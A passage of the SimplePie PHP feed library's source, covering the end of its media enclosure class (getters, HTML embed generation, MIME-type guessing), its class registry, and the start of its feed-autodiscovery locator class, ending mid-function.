	 *
	 * @param int $key
	 * @return SimplePie_Category|null
	 */
	public function get_category($key = 0)
	{
		$categories = $this->get_categories();
		if (isset($categories[$key]))
		{
			return $categories[$key];
		}

		return null;
	}

	/**
	 * Get all categories
	 *
	 * @return array|null Array of {@see SimplePie_Category} objects
	 */
	public function get_categories()
	{
		if ($this->categories !== null)
		{
			return $this->categories;
		}

		return null;
	}

	/**
	 * Get the number of audio channels
	 *
	 * @return int|null
	 */
	public function get_channels()
	{
		if ($this->channels !== null)
		{
			return $this->channels;
		}

		return null;
	}

	/**
	 * Get the copyright information
	 *
	 * @return SimplePie_Copyright|null
	 */
	public function get_copyright()
	{
		if ($this->copyright !== null)
		{
			return $this->copyright;
		}

		return null;
	}

	/**
	 * Get a single credit
	 *
	 * @param int $key
	 * @return SimplePie_Credit|null
	 */
	public function get_credit($key = 0)
	{
		$credits = $this->get_credits();
		if (isset($credits[$key]))
		{
			return $credits[$key];
		}

		return null;
	}

	/**
	 * Get all credits
	 *
	 * @return array|null Array of {@see SimplePie_Credit} objects
	 */
	public function get_credits()
	{
		if ($this->credits !== null)
		{
			return $this->credits;
		}

		return null;
	}

	/**
	 * Get the description of the enclosure
	 *
	 * @return string|null
	 */
	public function get_description()
	{
		if ($this->description !== null)
		{
			return $this->description;
		}

		return null;
	}

	/**
	 * Get the duration of the enclosure
	 *
	 * @param bool $convert Convert seconds into hh:mm:ss
	 * @return string|int|null 'hh:mm:ss' string if `$convert` was specified, otherwise integer (or null if none found)
	 */
	public function get_duration($convert = false)
	{
		if ($this->duration !== null)
		{
			if ($convert)
			{
				$time = SimplePie_Misc::time_hms($this->duration);
				return $time;
			}

			return $this->duration;
		}

		return null;
	}

	/**
	 * Get the expression
	 *
	 * @return string Probably one of 'sample', 'full', 'nonstop', 'clip'. Defaults to 'full'
	 */
	public function get_expression()
	{
		if ($this->expression !== null)
		{
			return $this->expression;
		}

		return 'full';
	}

	/**
	 * Get the file extension
	 *
	 * @return string|null
	 */
	public function get_extension()
	{
		if ($this->link !== null)
		{
			$url = SimplePie_Misc::parse_url($this->link);
			if ($url['path'] !== '')
			{
				return pathinfo($url['path'], PATHINFO_EXTENSION);
			}
		}
		return null;
	}

	/**
	 * Get the framerate (in frames-per-second)
	 *
	 * @return string|null
	 */
	public function get_framerate()
	{
		if ($this->framerate !== null)
		{
			return $this->framerate;
		}

		return null;
	}

	/**
	 * Get the preferred handler
	 *
	 * @return string|null One of 'flash', 'fmedia', 'quicktime', 'wmedia', 'mp3'
	 */
	public function get_handler()
	{
		return $this->get_real_type(true);
	}

	/**
	 * Get a single hash
	 *
	 * @link http://www.rssboard.org/media-rss#media-hash
	 * @param int $key
	 * @return string|null Hash as per `media:hash`, prefixed with "$algo:"
	 */
	public function get_hash($key = 0)
	{
		$hashes = $this->get_hashes();
		if (isset($hashes[$key]))
		{
			return $hashes[$key];
		}

		return null;
	}

	/**
	 * Get all credits
	 *
	 * @return array|null Array of strings, see {@see get_hash()}
	 */
	public function get_hashes()
	{
		if ($this->hashes !== null)
		{
			return $this->hashes;
		}

		return null;
	}

	/**
	 * Get the height
	 *
	 * @return string|null
	 */
	public function get_height()
	{
		if ($this->height !== null)
		{
			return $this->height;
		}

		return null;
	}

	/**
	 * Get the language
	 *
	 * @link http://tools.ietf.org/html/rfc3066
	 * @return string|null Language code as per RFC 3066
	 */
	public function get_language()
	{
		if ($this->lang !== null)
		{
			return $this->lang;
		}

		return null;
	}

	/**
	 * Get a single keyword
	 *
	 * @param int $key
	 * @return string|null
	 */
	public function get_keyword($key = 0)
	{
		$keywords = $this->get_keywords();
		if (isset($keywords[$key]))
		{
			return $keywords[$key];
		}

		return null;
	}

	/**
	 * Get all keywords
	 *
	 * @return array|null Array of strings
	 */
	public function get_keywords()
	{
		if ($this->keywords !== null)
		{
			return $this->keywords;
		}

		return null;
	}

	/**
	 * Get length
	 *
	 * @return float Length in bytes
	 */
	public function get_length()
	{
		if ($this->length !== null)
		{
			return $this->length;
		}

		return null;
	}

	/**
	 * Get the URL
	 *
	 * @return string|null
	 */
	public function get_link()
	{
		if ($this->link !== null)
		{
			return urldecode($this->link);
		}

		return null;
	}

	/**
	 * Get the medium
	 *
	 * @link http://www.rssboard.org/media-rss#media-content
	 * @return string|null Should be one of 'image', 'audio', 'video', 'document', 'executable'
	 */
	public function get_medium()
	{
		if ($this->medium !== null)
		{
			return $this->medium;
		}

		return null;
	}

	/**
	 * Get the player URL
	 *
	 * Typically the same as {@see get_permalink()}
	 * @return string|null Player URL
	 */
	public function get_player()
	{
		if ($this->player !== null)
		{
			return $this->player;
		}

		return null;
	}

	/**
	 * Get a single rating
	 *
	 * @param int $key
	 * @return SimplePie_Rating|null
	 */
	public function get_rating($key = 0)
	{
		$ratings = $this->get_ratings();
		if (isset($ratings[$key]))
		{
			return $ratings[$key];
		}

		return null;
	}

	/**
	 * Get all ratings
	 *
	 * @return array|null Array of {@see SimplePie_Rating} objects
	 */
	public function get_ratings()
	{
		if ($this->ratings !== null)
		{
			return $this->ratings;
		}

		return null;
	}

	/**
	 * Get a single restriction
	 *
	 * @param int $key
	 * @return SimplePie_Restriction|null
	 */
	public function get_restriction($key = 0)
	{
		$restrictions = $this->get_restrictions();
		if (isset($restrictions[$key]))
		{
			return $restrictions[$key];
		}

		return null;
	}

	/**
	 * Get all restrictions
	 *
	 * @return array|null Array of {@see SimplePie_Restriction} objects
	 */
	public function get_restrictions()
	{
		if ($this->restrictions !== null)
		{
			return $this->restrictions;
		}

		return null;
	}

	/**
	 * Get the sampling rate (in kHz)
	 *
	 * @return string|null
	 */
	public function get_sampling_rate()
	{
		if ($this->samplingrate !== null)
		{
			return $this->samplingrate;
		}

		return null;
	}

	/**
	 * Get the file size (in MiB)
	 *
	 * @return float|null File size in mebibytes (1048 bytes)
	 */
	public function get_size()
	{
		$length = $this->get_length();
		if ($length !== null)
		{
			return round($length/1048576, 2);
		}

		return null;
	}

	/**
	 * Get a single thumbnail
	 *
	 * @param int $key
	 * @return string|null Thumbnail URL
	 */
	public function get_thumbnail($key = 0)
	{
		$thumbnails = $this->get_thumbnails();
		if (isset($thumbnails[$key]))
		{
			return $thumbnails[$key];
		}

		return null;
	}

	/**
	 * Get all thumbnails
	 *
	 * @return array|null Array of thumbnail URLs
	 */
	public function get_thumbnails()
	{
		if ($this->thumbnails !== null)
		{
			return $this->thumbnails;
		}

		return null;
	}

	/**
	 * Get the title
	 *
	 * @return string|null
	 */
	public function get_title()
	{
		if ($this->title !== null)
		{
			return $this->title;
		}

		return null;
	}

	/**
	 * Get mimetype of the enclosure
	 *
	 * @see get_real_type()
	 * @return string|null MIME type
	 */
	public function get_type()
	{
		if ($this->type !== null)
		{
			return $this->type;
		}

		return null;
	}

	/**
	 * Get the width
	 *
	 * @return string|null
	 */
	public function get_width()
	{
		if ($this->width !== null)
		{
			return $this->width;
		}

		return null;
	}

	/**
	 * Embed the enclosure using `<embed>`
	 *
	 * @deprecated Use the second parameter to {@see embed} instead
	 *
	 * @param array|string $options See first paramter to {@see embed}
	 * @return string HTML string to output
	 */
	public function native_embed($options='')
	{
		return $this->embed($options, true);
	}

	/**
	 * Embed the enclosure using Javascript
	 *
	 * `$options` is an array or comma-separated key:value string, with the
	 * following properties:
	 *
	 * - `alt` (string): Alternate content for when an end-user does not have
	 *    the appropriate handler installed or when a file type is
	 *    unsupported. Can be any text or HTML. Defaults to blank.
	 * - `altclass` (string): If a file type is unsupported, the end-user will
	 *    see the alt text (above) linked directly to the content. That link
	 *    will have this value as its class name. Defaults to blank.
	 * - `audio` (string): This is an image that should be used as a
	 *    placeholder for audio files before they're loaded (QuickTime-only).
	 *    Can be any relative or absolute URL. Defaults to blank.
	 * - `bgcolor` (string): The background color for the media, if not
	 *    already transparent. Defaults to `#ffffff`.
	 * - `height` (integer): The height of the embedded media. Accepts any
	 *    numeric pixel value (such as `360`) or `auto`. Defaults to `auto`,
	 *    and it is recommended that you use this default.
	 * - `loop` (boolean): Do you want the media to loop when it's done?
	 *    Defaults to `false`.
	 * - `mediaplayer` (string): The location of the included
	 *    `mediaplayer.swf` file. This allows for the playback of Flash Video
	 *    (`.flv`) files, and is the default handler for non-Odeo MP3's.
	 *    Defaults to blank.
	 * - `video` (string): This is an image that should be used as a
	 *    placeholder for video files before they're loaded (QuickTime-only).
	 *    Can be any relative or absolute URL. Defaults to blank.
	 * - `width` (integer): The width of the embedded media. Accepts any
	 *    numeric pixel value (such as `480`) or `auto`. Defaults to `auto`,
	 *    and it is recommended that you use this default.
	 * - `widescreen` (boolean): Is the enclosure widescreen or standard?
	 *    This applies only to video enclosures, and will automatically resize
	 *    the content appropriately.  Defaults to `false`, implying 4:3 mode.
	 *
	 * Note: Non-widescreen (4:3) mode with `width` and `height` set to `auto`
	 * will default to 480x360 video resolution.  Widescreen (16:9) mode with
	 * `width` and `height` set to `auto` will default to 480x270 video resolution.
	 *
	 * @todo If the dimensions for media:content are defined, use them when width/height are set to 'auto'.
	 * @param array|string $options Comma-separated key:value list, or array
	 * @param bool $native Use `<embed>`
	 * @return string HTML string to output
	 */
	public function embed($options = '', $native = false)
	{
		// Set up defaults
		$audio = '';
		$video = '';
		$alt = '';
		$altclass = '';
		$loop = 'false';
		$width = 'auto';
		$height = 'auto';
		$bgcolor = '#ffffff';
		$mediaplayer = '';
		$widescreen = false;
		$handler = $this->get_handler();
		$type = $this->get_real_type();

		// Process options and reassign values as necessary
		if (is_array($options))
		{
			extract($options);
		}
		else
		{
			$options = explode(',', $options);
			foreach($options as $option)
			{
				$opt = explode(':', $option, 2);
				if (isset($opt[0], $opt[1]))
				{
					$opt[0] = trim($opt[0]);
					$opt[1] = trim($opt[1]);
					switch ($opt[0])
					{
						case 'audio':
							$audio = $opt[1];
							break;

						case 'video':
							$video = $opt[1];
							break;

						case 'alt':
							$alt = $opt[1];
							break;

						case 'altclass':
							$altclass = $opt[1];
							break;

						case 'loop':
							$loop = $opt[1];
							break;

						case 'width':
							$width = $opt[1];
							break;

						case 'height':
							$height = $opt[1];
							break;

						case 'bgcolor':
							$bgcolor = $opt[1];
							break;

						case 'mediaplayer':
							$mediaplayer = $opt[1];
							break;

						case 'widescreen':
							$widescreen = $opt[1];
							break;
					}
				}
			}
		}

		$mime = explode('/', $type, 2);
		$mime = $mime[0];

		// Process values for 'auto'
		if ($width === 'auto')
		{
			if ($mime === 'video')
			{
				if ($height === 'auto')
				{
					$width = 480;
				}
				elseif ($widescreen)
				{
					$width = round((intval($height)/9)*16);
				}
				else
				{
					$width = round((intval($height)/3)*4);
				}
			}
			else
			{
				$width = '100%';
			}
		}

		if ($height === 'auto')
		{
			if ($mime === 'audio')
			{
				$height = 0;
			}
			elseif ($mime === 'video')
			{
				if ($width === 'auto')
				{
					if ($widescreen)
					{
						$height = 270;
					}
					else
					{
						$height = 360;
					}
				}
				elseif ($widescreen)
				{
					$height = round((intval($width)/16)*9);
				}
				else
				{
					$height = round((intval($width)/4)*3);
				}
			}
			else
			{
				$height = 376;
			}
		}
		elseif ($mime === 'audio')
		{
			$height = 0;
		}

		// Set proper placeholder value
		if ($mime === 'audio')
		{
			$placeholder = $audio;
		}
		elseif ($mime === 'video')
		{
			$placeholder = $video;
		}

		$embed = '';

		// Flash
		if ($handler === 'flash')
		{
			if ($native)
			{
				$embed .= "<embed src=\"" . $this->get_link() . "\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"$type\" quality=\"high\" width=\"$width\" height=\"$height\" bgcolor=\"$bgcolor\" loop=\"$loop\"></embed>";
			}
			else
			{
				$embed .= "<script type='text/javascript'>embed_flash('$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$loop', '$type');</script>";
			}
		}

		// Flash Media Player file types.
		// Preferred handler for MP3 file types.
		elseif ($handler === 'fmedia' || ($handler === 'mp3' && $mediaplayer !== ''))
		{
			$height += 20;
			if ($native)
			{
				$embed .= "<embed src=\"$mediaplayer\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" quality=\"high\" width=\"$width\" height=\"$height\" wmode=\"transparent\" flashvars=\"file=" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "&autostart=false&repeat=$loop&showdigits=true&showfsbutton=false\"></embed>";
			}
			else
			{
				$embed .= "<script type='text/javascript'>embed_flv('$width', '$height', '" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "', '$placeholder', '$loop', '$mediaplayer');</script>";
			}
		}

		// QuickTime 7 file types.  Need to test with QuickTime 6.
		// Only handle MP3's if the Flash Media Player is not present.
		elseif ($handler === 'quicktime' || ($handler === 'mp3' && $mediaplayer === ''))
		{
			$height += 16;
			if ($native)
			{
				if ($placeholder !== '')
				{
					$embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" href=\"" . $this->get_link() . "\" src=\"$placeholder\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"false\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
				}
				else
				{
					$embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" src=\"" . $this->get_link() . "\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"true\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
				}
			}
			else
			{
				$embed .= "<script type='text/javascript'>embed_quicktime('$type', '$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$placeholder', '$loop');</script>";
			}
		}

		// Windows Media
		elseif ($handler === 'wmedia')
		{
			$height += 45;
			if ($native)
			{
				$embed .= "<embed type=\"application/x-mplayer2\" src=\"" . $this->get_link() . "\" autosize=\"1\" width=\"$width\" height=\"$height\" showcontrols=\"1\" showstatusbar=\"0\" showdisplay=\"0\" autostart=\"0\"></embed>";
			}
			else
			{
				$embed .= "<script type='text/javascript'>embed_wmedia('$width', '$height', '" . $this->get_link() . "');</script>";
			}
		}

		// Everything else
		else $embed .= '<a href="' . $this->get_link() . '" class="' . $altclass . '">' . $alt . '</a>';

		return $embed;
	}

	/**
	 * Get the real media type
	 *
	 * Often, feeds lie to us, necessitating a bit of deeper inspection. This
	 * converts types to their canonical representations based on the file
	 * extension
	 *
	 * @see get_type()
	 * @param bool $find_handler Internal use only, use {@see get_handler()} instead
	 * @return string MIME type
	 */
	public function get_real_type($find_handler = false)
	{
		// Mime-types by handler.
		$types_flash = array('application/x-shockwave-flash', 'application/futuresplash'); // Flash
		$types_fmedia = array('video/flv', 'video/x-flv','flv-application/octet-stream'); // Flash Media Player
		$types_quicktime = array('audio/3gpp', 'audio/3gpp2', 'audio/aac', 'audio/x-aac', 'audio/aiff', 'audio/x-aiff', 'audio/mid', 'audio/midi', 'audio/x-midi', 'audio/mp4', 'audio/m4a', 'audio/x-m4a', 'audio/wav', 'audio/x-wav', 'video/3gpp', 'video/3gpp2', 'video/m4v', 'video/x-m4v', 'video/mp4', 'video/mpeg', 'video/x-mpeg', 'video/quicktime', 'video/sd-video'); // QuickTime
		$types_wmedia = array('application/asx', 'application/x-mplayer2', 'audio/x-ms-wma', 'audio/x-ms-wax', 'video/x-ms-asf-plugin', 'video/x-ms-asf', 'video/x-ms-wm', 'video/x-ms-wmv', 'video/x-ms-wvx'); // Windows Media
		$types_mp3 = array('audio/mp3', 'audio/x-mp3', 'audio/mpeg', 'audio/x-mpeg'); // MP3

		if ($this->get_type() !== null)
		{
			$type = strtolower($this->type);
		}
		else
		{
			$type = null;
		}

		// If we encounter an unsupported mime-type, check the file extension and guess intelligently.
		if (!in_array($type, array_merge($types_flash, $types_fmedia, $types_quicktime, $types_wmedia, $types_mp3)))
		{
			$extension = $this->get_extension();
			if ($extension === null) {
				return null;
			}

			switch (strtolower($extension))
			{
				// Audio mime-types
				case 'aac':
				case 'adts':
					$type = 'audio/acc';
					break;

				case 'aif':
				case 'aifc':
				case 'aiff':
				case 'cdda':
					$type = 'audio/aiff';
					break;

				case 'bwf':
					$type = 'audio/wav';
					break;

				case 'kar':
				case 'mid':
				case 'midi':
				case 'smf':
					$type = 'audio/midi';
					break;

				case 'm4a':
					$type = 'audio/x-m4a';
					break;

				case 'mp3':
				case 'swa':
					$type = 'audio/mp3';
					break;

				case 'wav':
					$type = 'audio/wav';
					break;

				case 'wax':
					$type = 'audio/x-ms-wax';
					break;

				case 'wma':
					$type = 'audio/x-ms-wma';
					break;

				// Video mime-types
				case '3gp':
				case '3gpp':
					$type = 'video/3gpp';
					break;

				case '3g2':
				case '3gp2':
					$type = 'video/3gpp2';
					break;

				case 'asf':
					$type = 'video/x-ms-asf';
					break;

				case 'flv':
					$type = 'video/x-flv';
					break;

				case 'm1a':
				case 'm1s':
				case 'm1v':
				case 'm15':
				case 'm75':
				case 'mp2':
				case 'mpa':
				case 'mpeg':
				case 'mpg':
				case 'mpm':
				case 'mpv':
					$type = 'video/mpeg';
					break;

				case 'm4v':
					$type = 'video/x-m4v';
					break;

				case 'mov':
				case 'qt':
					$type = 'video/quicktime';
					break;

				case 'mp4':
				case 'mpg4':
					$type = 'video/mp4';
					break;

				case 'sdv':
					$type = 'video/sd-video';
					break;

				case 'wm':
					$type = 'video/x-ms-wm';
					break;

				case 'wmv':
					$type = 'video/x-ms-wmv';
					break;

				case 'wvx':
					$type = 'video/x-ms-wvx';
					break;

				// Flash mime-types
				case 'spl':
					$type = 'application/futuresplash';
					break;

				case 'swf':
					$type = 'application/x-shockwave-flash';
					break;
			}
		}

		if ($find_handler)
		{
			if (in_array($type, $types_flash))
			{
				return 'flash';
			}
			elseif (in_array($type, $types_fmedia))
			{
				return 'fmedia';
			}
			elseif (in_array($type, $types_quicktime))
			{
				return 'quicktime';
			}
			elseif (in_array($type, $types_wmedia))
			{
				return 'wmedia';
			}
			elseif (in_array($type, $types_mp3))
			{
				return 'mp3';
			}

			return null;
		}

		return $type;
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Handles creating objects and calling methods
 *
 * Access this via {@see SimplePie::get_registry()}
 *
 * @package SimplePie
 */
class SimplePie_Registry
{
	/**
	 * Default class mapping
	 *
	 * Overriding classes *must* subclass these.
	 *
	 * @var array
	 */
	protected $default = array(
		'Cache' => 'SimplePie_Cache',
		'Locator' => 'SimplePie_Locator',
		'Parser' => 'SimplePie_Parser',
		'File' => 'SimplePie_File',
		'Sanitize' => 'SimplePie_Sanitize',
		'Item' => 'SimplePie_Item',
		'Author' => 'SimplePie_Author',
		'Category' => 'SimplePie_Category',
		'Enclosure' => 'SimplePie_Enclosure',
		'Caption' => 'SimplePie_Caption',
		'Copyright' => 'SimplePie_Copyright',
		'Credit' => 'SimplePie_Credit',
		'Rating' => 'SimplePie_Rating',
		'Restriction' => 'SimplePie_Restriction',
		'Content_Type_Sniffer' => 'SimplePie_Content_Type_Sniffer',
		'Source' => 'SimplePie_Source',
		'Misc' => 'SimplePie_Misc',
		'XML_Declaration_Parser' => 'SimplePie_XML_Declaration_Parser',
		'Parse_Date' => 'SimplePie_Parse_Date',
	);

	/**
	 * Class mapping
	 *
	 * @see register()
	 * @var array
	 */
	protected $classes = array();

	/**
	 * Legacy classes
	 *
	 * @see register()
	 * @var array
	 */
	protected $legacy = array();

	/**
	 * Constructor
	 *
	 * No-op
	 */
	public function __construct() { }

	/**
	 * Register a class
	 *
	 * @param string $type See {@see $default} for names
	 * @param string $class Class name, must subclass the corresponding default
	 * @param bool $legacy Whether to enable legacy support for this class
	 * @return bool Successfulness
	 */
	public function register($type, $class, $legacy = false)
	{
		if (!@is_subclass_of($class, $this->default[$type]))
		{
			return false;
		}

		$this->classes[$type] = $class;

		if ($legacy)
		{
			$this->legacy[] = $class;
		}

		return true;
	}

	/**
	 * Get the class registered for a type
	 *
	 * Where possible, use {@see create()} or {@see call()} instead
	 *
	 * @param string $type
	 * @return string|null
	 */
	public function get_class($type)
	{
		if (!empty($this->classes[$type]))
		{
			return $this->classes[$type];
		}
		if (!empty($this->default[$type]))
		{
			return $this->default[$type];
		}

		return null;
	}

	/**
	 * Create a new instance of a given type
	 *
	 * @param string $type
	 * @param array $parameters Parameters to pass to the constructor
	 * @return object Instance of class
	 */
	public function &create($type, $parameters = array())
	{
		$class = $this->get_class($type);

		if (in_array($class, $this->legacy))
		{
			switch ($type)
			{
				case 'locator':
					// Legacy: file, timeout, useragent, file_class, max_checked_feeds, content_type_sniffer_class
					// Specified: file, timeout, useragent, max_checked_feeds
					$replacement = array($this->get_class('file'), $parameters[3], $this->get_class('content_type_sniffer'));
					array_splice($parameters, 3, 1, $replacement);
					break;
			}
		}

		if (!method_exists($class, '__construct'))
		{
			$instance = new $class;
		}
		else
		{
			$reflector = new ReflectionClass($class);
			$instance = $reflector->newInstanceArgs($parameters);
		}

		if (method_exists($instance, 'set_registry'))
		{
			$instance->set_registry($this);
		}
		return $instance;
	}

	/**
	 * Call a static method for a type
	 *
	 * @param string $type
	 * @param string $method
	 * @param array $parameters
	 * @return mixed
	 */
	public function &call($type, $method, $parameters = array())
	{
		$class = $this->get_class($type);

		if (in_array($class, $this->legacy))
		{
			switch ($type)
			{
				case 'Cache':
					// For backwards compatibility with old non-static
					// Cache::create() methods in PHP < 8.0.
					// No longer supported as of PHP 8.0.
					if ($method === 'get_handler')
					{
						$result = @call_user_func_array(array($class, 'create'), $parameters);
						return $result;
					}
					break;
			}
		}

		$result = call_user_func_array(array($class, $method), $parameters);
		return $result;
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Used for feed auto-discovery
 *
 *
 * This class can be overloaded with {@see SimplePie::set_locator_class()}
 *
 * @package SimplePie
 */
class SimplePie_Locator
{
	var $useragent;
	var $timeout;
	var $file;
	var $local = array();
	var $elsewhere = array();
	var $cached_entities = array();
	var $http_base;
	var $base;
	var $base_location = 0;
	var $checked_feeds = 0;
	var $max_checked_feeds = 10;
	var $force_fsockopen = false;
	var $curl_options = array();
	var $dom;
	protected $registry;

	public function __construct(SimplePie_File $file, $timeout = 10, $useragent = null, $max_checked_feeds = 10, $force_fsockopen = false, $curl_options = array())
	{
		$this->file = $file;
		$this->useragent = $useragent;
		$this->timeout = $timeout;
		$this->max_checked_feeds = $max_checked_feeds;
		$this->force_fsockopen = $force_fsockopen;
		$this->curl_options = $curl_options;

		if (class_exists('DOMDocument') && $this->file->body != '')
		{
			$this->dom = new DOMDocument();

			set_error_handler(array('SimplePie_Misc', 'silence_errors'));
			try
			{
				$this->dom->loadHTML($this->file->body);
			}
			catch (Throwable $ex)
			{
				$this->dom = null;
			}
			restore_error_handler();
		}
		else
		{
			$this->dom = null;
		}
	}

	public function set_registry(SimplePie_Registry $registry)
	{
		$this->registry = $registry;
	}

	public function find($type = SIMPLEPIE_LOCATOR_ALL, &$working = null)
	{
		if ($this->is_feed($this->file))
		{
			return $this->file;
		}

		if ($this->file->method & SIMPLEPIE_FILE_SOURCE_REMOTE)
		{
			$sniffer = $this->registry->create('Content_Type_Sniffer', array($this->file));
			if ($sniffer->get_type() !== 'text/html')
			{
				return null;
			}
		}

		if ($type & ~SIMPLEPIE_LOCATOR_NONE)
		{
			$this->get_base();
		}

		if ($type & SIMPLEPIE_LOCATOR_AUTODISCOVERY && $working = $this->autodiscovery())
		{
			return $working[0];
		}

		if ($type & (SIMPLEPIE_LOCATOR_LOCAL_EXTENSION | SIMPLEPIE_LOCATOR_LOCAL_BODY | SIMPLEPIE_LOCATOR_REMOTE_EXTENSION | SIMPLEPIE_LOCATOR_REMOTE_BODY) && $this->get_links())
		{
			if ($type & SIMPLEPIE_LOCATOR_LOCAL_EXTENSION && $working = $this->extension($this->local))
			{
				return $working[0];
			}

			if ($type & SIMPLEPIE_LOCATOR_LOCAL_BODY && $working = $this->body($this->local))
			{
				return $working[0];
			}

			if ($type & SIMPLEPIE_LOCATOR_REMOTE_EXTENSION && $working = $this->extension($this->elsewhere))
			{
				return $working[0];
			}

			if ($type & SIMPLEPIE_LOCATOR_REMOTE_BODY && $working = $this->body($this->elsewhere))
			{
				return $working[0];
			}
		}
		return null;
	}

	public function is_feed($file, $check_html = false)
	{
		if ($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE)
		{
			$sniffer = $this->registry->create('Content_Type_Sniffer', array($file));
			$sniffed = $sniffer->get_type();
			$mime_types = array('application/rss+xml', 'application/rdf+xml',
			                    'text/rdf', 'application/atom+xml', 'text/xml',
			                    'application/xml', 'application/x-rss+xml');
			if ($check_html)
			{
				$mime_types[] = 'text/html';
			}

			return in_array($sniffed, $mime_types);
		}
		elseif ($file->method & SIMPLEPIE_FILE_SOURCE_LOCAL)
		{
			return true;
		}
		else
		{
			return false;
		}
	}

	public function get_base()
	{
		if ($this->dom === null)
		{
			throw new SimplePie_Exception('DOMDocument not found, unable to use locator');
		}
		$this->http_base = $this->file->url;
		$this->base = $this->http_base;
		$elements = $this->dom->getElementsByTagName('base');
		foreach ($elements as $element)
		{
			if ($element->hasAttribute('href'))
			{
				$base = $this->registry->call('Misc', 'absolutize_url', array(trim($element->getAttribute('href')), $this->http_base));
				if ($base === false)
				{
					continue;
				}
				$this->base = $base;
				$this->base_location = method_exists($element, 'getLineNo') ? $element->getLineNo() : 0;
				break;
			}
		}
	}

	public function autodiscovery()
	{
		$done = array();
		$feeds = array();
		$feeds = array_merge($feeds, $this->search_elements_by_tag('link', $done, $feeds));
		$feeds = array_merge($feeds, $this->search_elements_by_tag('a', $done, $feeds));
		$feeds = array_merge($feeds, $this->search_elements_by_tag('area', $done, $feeds));

		if (!empty($feeds))
		{
